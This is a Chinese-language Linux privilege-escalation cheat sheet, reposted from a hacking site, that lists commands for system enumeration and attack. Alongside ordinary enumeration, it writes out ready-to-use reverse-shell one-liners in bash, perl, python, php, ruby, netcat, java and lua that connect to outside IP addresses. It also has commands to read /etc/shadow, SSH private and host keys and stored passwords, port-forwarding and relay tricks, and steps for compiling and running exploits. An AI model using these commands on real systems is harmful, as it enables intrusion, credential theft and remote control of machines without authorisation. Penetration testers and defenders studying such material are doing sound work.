Linux 提权常用命令集

转载：http://www.myhack58.com/Article/html/3/8/2017/83236.htm

0x00 操作系统相关

操作系统类型版本

1. cat /etc/issue
2. cat /etc/*-release
3. cat /etc/lsb-release # Debian
4. cat /etc/redhat-release # Redhat

内核版本，是否是64位

1. cat /proc/version
2. uname -a
3. uname -mrs
4. rpm -q kernel
5. dmesg | grep Linux
6. ls /boot | grep vmlinuz-

环境变量

1. cat /etc/profile
2. cat /etc/bashrc
3. cat ~/.bash_profile
4. cat ~/.bashrc
5. cat ~/.bash_logout
6. env
7. set

查看是否有打印机

1. lpstat -a

0x01 应用与服务相关

查看正在运行的程序及对应的用户权限

1. ps aux
2. ps -ef
3. top
4. cat /etc/services

以root权限运行的进程

1. ps aux | grep root
2. ps -ef | grep root

查看安装了的应用

1. ls -alh /usr/bin/
2. ls -alh /sbin/
3. dpkg -l
4. rpm -qa
5. ls -alh /var/cache/apt/archives
6. ls -alh /var/cache/yum/

一些服务的配置文件

1. cat /etc/syslog.conf
2. cat /etc/chttp.conf
3. cat /etc/lighttpd.conf
4. cat /etc/cups/cupsd.conf
5. cat /etc/inetd.conf
6. cat /etc/apache2/apache2.conf
7. cat /etc/my.conf
8. cat /etc/httpd/conf/httpd.conf
9. cat /opt/lampp/etc/httpd.conf
10. ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'

计划任务

1. crontab -l
2. ls -alh /var/spool/cron
3. ls -al /etc/ | grep cron
4. ls -al /etc/cron*
5. cat /etc/cron*
6. cat /etc/at.allow
7. cat /etc/at.deny
8. cat /etc/cron.allow
9. cat /etc/cron.deny
10. cat /etc/crontab
11. cat /etc/anacrontab
12. cat /var/spool/cron/crontabs/root

找存储的明文用户名，密码

1. grep -i user [filename]
2. grep -i pass [filename]
3. grep -C 5 "password" [filename]
4. find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

0x02 通信与网络相关

查看当前网络地址

1. /sbin/ifconfig -a
2. cat /etc/network/interfaces
3. cat /etc/sysconfig/network

查看网络配置,DNS,DHCP,网关

1. cat /etc/resolv.conf
2. cat /etc/sysconfig/network
3. cat /etc/networks
4. iptables -L
5. hostname
6. dnsdomainname

查看网络通信

1. lsof -i
2. lsof -i :80
3. grep 80 /etc/services
4. netstat -antup
5. netstat -antpx
6. netstat -tulpn
7. chkconfig --list
8. chkconfig --list | grep 3:on
9. last
10. w

查看缓存

1. arp -e
2. route
3. /sbin/route -nee

tcpdump

1. tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

交互式shell

bash版本：

1. bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl版本:

1. perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python版本:

1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本：

1. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本：

1. ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc版本：

1. nc -e /bin/sh 223.8.200.234 1234

nc不使用-e：

1. mknod /tmp/backpipe p
2. /bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

mknod:

1. mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

java版本：

1. r = Runtime.getRuntime()
2. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
3. p.waitFor()

lua版本：

1. lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

端口转发

lcx -<listen|tran|slave>

1. lcx -listen 4567 33891 #Attacker
2. lcx -slave 111.222.333.444 4567 127.0.0.1 3389 # On the targets

ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

1. ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
2. ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

1. mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe
2. mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
3. mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

隧道

1. ssh -D 127.0.0.1:9050 -N [username]@[ip]
2. proxychains ifconfig

0x03 用户相关

用户信息

1. id
2. who
3. w
4. last
5. cat /etc/passwd
6. cat /etc/group
7. cat /etc/shadow
8. ls -alh /var/mail/
9. grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 列出超级用户
10. awk -F: '($3 == "0") {print}' /etc/passwd #列出超级用户
11. cat /etc/sudoers
12. sudo -l

列家目录

1. ls -ahlR /root/
2. ls -ahlR /home/

从配置文件里面寻找密码

1. cat /var/apache2/config.inc
2. cat /var/lib/mysql/mysql/user.MYD
3. cat /root/anaconda-ks.cfg

看其他用户的操作记录

1. cat ~/.bash_history
2. cat ~/.nano_history
3. cat ~/.atftp_history
4. cat ~/.mysql_history
5. cat ~/.php_history

ssh私钥

1. cat ~/.ssh/authorized_keys
2. cat ~/.ssh/identity.pub
3. cat ~/.ssh/identity
4. cat ~/.ssh/id_rsa.pub
5. cat ~/.ssh/id_rsa
6. cat ~/.ssh/id_dsa.pub
7. cat ~/.ssh/id_dsa
8. cat /etc/ssh/ssh_config
9. cat /etc/ssh/sshd_config
10. cat /etc/ssh/ssh_host_dsa_key.pub
11. cat /etc/ssh/ssh_host_dsa_key
12. cat /etc/ssh/ssh_host_rsa_key.pub
13. cat /etc/ssh/ssh_host_rsa_key
14. cat /etc/ssh/ssh_host_key.pub
15. cat /etc/ssh/ssh_host_key

0x04 文件系统相关

/etc/目录下面文件

1. ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
2. ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
3. ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
4. ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
5. find /etc/ -readable -type f 2>/dev/null # Anyone
6. find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

日志文件

1. ls -alh /var/log
2. ls -alh /var/mail
3. ls -alh /var/spool
4. ls -alh /var/spool/lpd
5. ls -alh /var/lib/pgsql
6. ls -alh /var/lib/mysql
7. cat /var/lib/dhcp3/dhclient.leases

查看网站文件

1. ls -alhR /var/www/
2. ls -alhR /srv/www/htdocs/
3. ls -alhR /usr/local/www/apache22/data/
4. ls -alhR /opt/lampp/htdocs/
5. ls -alhR /var/www/html/

常见日志文件

1. cat /etc/httpd/logs/access_log
2. cat /etc/httpd/logs/access.log
3. cat /etc/httpd/logs/error_log
4. cat /etc/httpd/logs/error.log
5. cat /var/log/apache2/access_log
6. cat /var/log/apache2/access.log
7. cat /var/log/apache2/error_log
8. cat /var/log/apache2/error.log
9. cat /var/log/apache/access_log
10. cat /var/log/apache/access.log
11. cat /var/log/auth.log
12. cat /var/log/chttp.log
13. cat /var/log/cups/error_log
14. cat /var/log/dpkg.log
15. cat /var/log/faillog
16. cat /var/log/httpd/access_log
17. cat /var/log/httpd/access.log
18. cat /var/log/httpd/error_log
19. cat /var/log/httpd/error.log
20. cat /var/log/lastlog
21. cat /var/log/lighttpd/access.log
22. cat /var/log/lighttpd/error.log
23. cat /var/log/lighttpd/lighttpd.access.log
24. cat /var/log/lighttpd/lighttpd.error.log
25. cat /var/log/messages
26. cat /var/log/secure
27. cat /var/log/syslog
28. cat /var/log/wtmp
29. cat /var/log/xferlog
30. cat /var/log/yum.log
31. cat /var/run/utmp
32. cat /var/webmin/miniserv.log
33. cat /var/www/logs/access_log
34. cat /var/www/logs/access.log
35. ls -alh /var/lib/dhcp3/
36. ls -alh /var/log/postgresql/
37. ls -alh /var/log/proftpd/
38. ls -alh /var/log/samba/

文件挂载

1. mount
2. df -h
3. cat /etc/fstab

Find命令

1. find / -perm -1000 -type d 2>/dev/null # 只有目录所有者才可以更改删除
2. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
3. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
4. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
5. for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # 从下面几个位置: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin 或者其他的bin目录寻找
6. find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null #从/，SGUD或者SUID开始查找，排除符号链接，深度为3个文件夹，显示详细的清单并去除错误信息

寻找可写目录

1. find / -writable -type d 2>/dev/null # 可写目录
2. find / -perm -222 -type d 2>/dev/null # 可写目录
3. find / -perm -o w -type d 2>/dev/null # 可写目录
4. find / -perm -o x -type d 2>/dev/null # 可执行目录
5. find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # 可写可执行
6. 目录

查找文件

1. find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null # 可写文件
2. find / dir -xdev \( -nouser -o -nogroup \) -print 2>/dev/null # 无所有者文件

0x05 准备及攻击

查看语言支持

1. find / -name perl*
2. find / -name python*
3. find / -name gcc*
4. find / -name cc

查看上传方式

1. find / -name wget
2. find / -name nc*
3. find / -name netcat*
4. find / -name tftp*
5. find / -name ftp

寻找exp
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com

编译exp

1. which gcc
2. gcc exp.c -o exp

运行

1. chmod +x exp
2. ./exp

0x06 提权辅助脚本

LinEnum

linuxprivchecker.py

以上并不全，可能会有什么错误，请各位大大指正或补充。多多学习交流。